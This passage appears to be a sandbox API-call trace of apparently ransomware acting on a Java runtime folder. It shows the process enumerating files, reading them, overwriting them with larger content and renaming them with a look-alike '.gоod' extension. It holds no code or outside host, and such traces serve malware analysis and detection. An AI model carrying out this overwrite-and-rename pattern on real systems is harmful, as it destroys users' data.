dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 1 [0068.767] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0068.767] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0068.768] FindNextFileW (in: hFindFile=0x1ec51de0, lpFindFileData=0x1f49cf30 | out: lpFindFileData=0x1f49cf30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 0 [0068.769] FindClose (in: hFindFile=0x1ec51de0 | out: hFindFile=0x1ec51de0) returned 1 [0068.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49d190) returned 1 [0068.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49d150) returned 1 [0068.769] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", lpFilePart=0x0) returned 0x2c [0068.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d000) returned 1 [0068.769] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), fInfoLevelId=0x0, lpFileInformation=0x3062860 | out: lpFileInformation=0x3062860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac)) returned 1 [0068.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cfc0) returned 1 [0068.773] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", lpFilePart=0x0) returned 0x2c [0068.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0068.773] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0068.773] GetFileType (hFile=0x760) returned 0x1 [0068.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0068.773] GetFileType (hFile=0x760) returned 0x1 [0068.774] GetFileSize (in: hFile=0x760, lpFileSizeHigh=0x1f49d058 | out: lpFileSizeHigh=0x1f49d058*=0x0) returned 0xcac [0068.774] ReadFile (in: hFile=0x760, lpBuffer=0x3063748, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49cf88, lpOverlapped=0x0 | out: lpBuffer=0x3063748*, lpNumberOfBytesRead=0x1f49cf88*=0xcac, lpOverlapped=0x0) returned 1 [0068.775] CloseHandle (hObject=0x760) returned 1 [0069.063] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", lpFilePart=0x0) returned 0x2c [0069.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0069.063] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.064] GetFileType (hFile=0x6b0) returned 0x1 [0069.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0069.064] GetFileType (hFile=0x6b0) returned 0x1 [0069.064] WriteFile (in: hFile=0x6b0, lpBuffer=0x31b7fa0*, nNumberOfBytesToWrite=0xcb0, lpNumberOfBytesWritten=0x1f49ce98, lpOverlapped=0x0 | out: lpBuffer=0x31b7fa0*, lpNumberOfBytesWritten=0x1f49ce98*=0xcb0, lpOverlapped=0x0) returned 1 [0069.065] CloseHandle (hObject=0x6b0) returned 1 [0069.066] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", lpFilePart=0x0) returned 0x2c [0069.066] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.gоod", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.gоod", lpFilePart=0x0) returned 0x31 [0069.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cfc0) returned 1 [0069.066] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), fInfoLevelId=0x0, lpFileInformation=0x1f49d0a0 | out: lpFileInformation=0x1f49d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2560ac97, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xcb0)) returned 1 [0069.066] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cf80) returned 1 [0069.066] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.gоod")) returned 1 [0069.067] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", lpFilePart=0x0) returned 0x2a [0069.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d000) returned 1 [0069.067] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), fInfoLevelId=0x0, lpFileInformation=0x31b9150 | out: lpFileInformation=0x31b9150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28)) returned 1 [0069.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cfc0) returned 1 [0069.067] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", lpFilePart=0x0) returned 0x2a [0069.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0069.067] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0069.067] GetFileType (hFile=0x6b0) returned 0x1 [0069.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0069.067] GetFileType (hFile=0x6b0) returned 0x1 [0069.067] GetFileSize (in: hFile=0x6b0, lpFileSizeHigh=0x1f49d058 | out: lpFileSizeHigh=0x1f49d058*=0x0) returned 0x28 [0069.068] ReadFile (in: hFile=0x6b0, lpBuffer=0x31b9390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49cf88, lpOverlapped=0x0 | out: lpBuffer=0x31b9390*, lpNumberOfBytesRead=0x1f49cf88*=0x28, lpOverlapped=0x0) returned 1 [0069.068] CloseHandle (hObject=0x6b0) returned 1 [0069.328] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", lpFilePart=0x0) returned 0x2a [0069.328] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0069.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0069.329] GetFileType (hFile=0x764) returned 0x1 [0069.329] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0069.329] GetFileType (hFile=0x764) returned 0x1 [0069.329] WriteFile (in: hFile=0x764, lpBuffer=0x333ae38*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x1f49ce98, lpOverlapped=0x0 | out: lpBuffer=0x333ae38*, lpNumberOfBytesWritten=0x1f49ce98*=0x30, lpOverlapped=0x0) returned 1 [0069.330] CloseHandle (hObject=0x764) returned 1 [0069.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", lpFilePart=0x0) returned 0x2a [0069.331] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.gоod", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.gоod", lpFilePart=0x0) returned 0x2f [0069.331] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cfc0) returned 1 [0069.331] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), fInfoLevelId=0x0, lpFileInformation=0x1f49d0a0 | out: lpFileInformation=0x1f49d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x25893029, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0069.331] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cf80) returned 1 [0069.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license.gоod")) returned 1 [0069.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", lpFilePart=0x0) returned 0x2d [0069.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d000) returned 1 [0069.332] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x333c020 | out: lpFileInformation=0x333c020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e)) returned 1 [0069.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cfc0) returned 1 [0069.332] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", lpFilePart=0x0) returned 0x2d [0069.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0069.332] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0069.333] GetFileType (hFile=0x764) returned 0x1 [0069.333] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0069.333] GetFileType (hFile=0x764) returned 0x1 [0069.333] GetFileSize (in: hFile=0x764, lpFileSizeHigh=0x1f49d058 | out: lpFileSizeHigh=0x1f49d058*=0x0) returned 0x2e [0069.333] ReadFile (in: hFile=0x764, lpBuffer=0x333c288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49cf88, lpOverlapped=0x0 | out: lpBuffer=0x333c288*, lpNumberOfBytesRead=0x1f49cf88*=0x2e, lpOverlapped=0x0) returned 1 [0069.334] CloseHandle (hObject=0x764) returned 1 [0070.049] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", lpFilePart=0x0) returned 0x2d [0070.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0070.049] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0070.050] GetFileType (hFile=0x6b0) returned 0x1 [0070.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0070.050] GetFileType (hFile=0x6b0) returned 0x1 [0070.050] WriteFile (in: hFile=0x6b0, lpBuffer=0x31f6f28*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x1f49ce98, lpOverlapped=0x0 | out: lpBuffer=0x31f6f28*, lpNumberOfBytesWritten=0x1f49ce98*=0x30, lpOverlapped=0x0) returned 1 [0070.051] CloseHandle (hObject=0x6b0) returned 1 [0070.051] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", lpFilePart=0x0) returned 0x2d [0070.051] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.gоod", lpFilePart=0x0) returned 0x32 [0070.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cfc0) returned 1 [0070.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f49d0a0 | out: lpFileInformation=0x1f49d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x25f6dcb5, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x30)) returned 1 [0070.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cf80) returned 1 [0070.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt.gоod")) returned 1 [0070.052] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\release", lpFilePart=0x0) returned 0x2a [0070.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d000) returned 1 [0070.052] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), fInfoLevelId=0x0, lpFileInformation=0x31f80d8 | out: lpFileInformation=0x31f80d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210)) returned 1 [0070.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cfc0) returned 1 [0070.054] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release", nBufferLength=0x105, lpBuffer=0x1f49c990, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\release", lpFilePart=0x0) returned 0x2a [0070.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0070.054] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b0 [0070.054] GetFileType (hFile=0x6b0) returned 0x1 [0070.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0070.054] GetFileType (hFile=0x6b0) returned 0x1 [0070.054] GetFileSize (in: hFile=0x6b0, lpFileSizeHigh=0x1f49d058 | out: lpFileSizeHigh=0x1f49d058*=0x0) returned 0x210 [0070.054] ReadFile (in: hFile=0x6b0, lpBuffer=0x31f8500, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f49cf88, lpOverlapped=0x0 | out: lpBuffer=0x31f8500*, lpNumberOfBytesRead=0x1f49cf88*=0x210, lpOverlapped=0x0) returned 1 [0070.055] CloseHandle (hObject=0x6b0) returned 1 [0070.318] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49ceb0) returned 1 [0070.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x760 [0070.319] GetFileType (hFile=0x760) returned 0x1 [0070.319] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49ce20) returned 1 [0070.319] GetFileType (hFile=0x760) returned 0x1 [0070.319] WriteFile (in: hFile=0x760, lpBuffer=0x31ac860*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x1f49ce98, lpOverlapped=0x0 | out: lpBuffer=0x31ac860*, lpNumberOfBytesWritten=0x1f49ce98*=0x220, lpOverlapped=0x0) returned 1 [0070.320] CloseHandle (hObject=0x760) returned 1 [0070.321] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\release", lpFilePart=0x0) returned 0x2a [0070.321] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.gоod", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\release.gоod", lpFilePart=0x0) returned 0x2f [0070.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49cfc0) returned 1 [0070.322] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), fInfoLevelId=0x0, lpFileInformation=0x1f49d0a0 | out: lpFileInformation=0x1f49d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x2621c749, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x220)) returned 1 [0070.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f49cf80) returned 1 [0070.322] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\release.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\release.gоod")) returned 1 [0070.322] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", nBufferLength=0x105, lpBuffer=0x1f49cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", lpFilePart=0x0) returned 0x45 [0070.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f49d000) returned 1 [0070.322] GetFileAttributesExW (in: lpFileName="C:\\Program 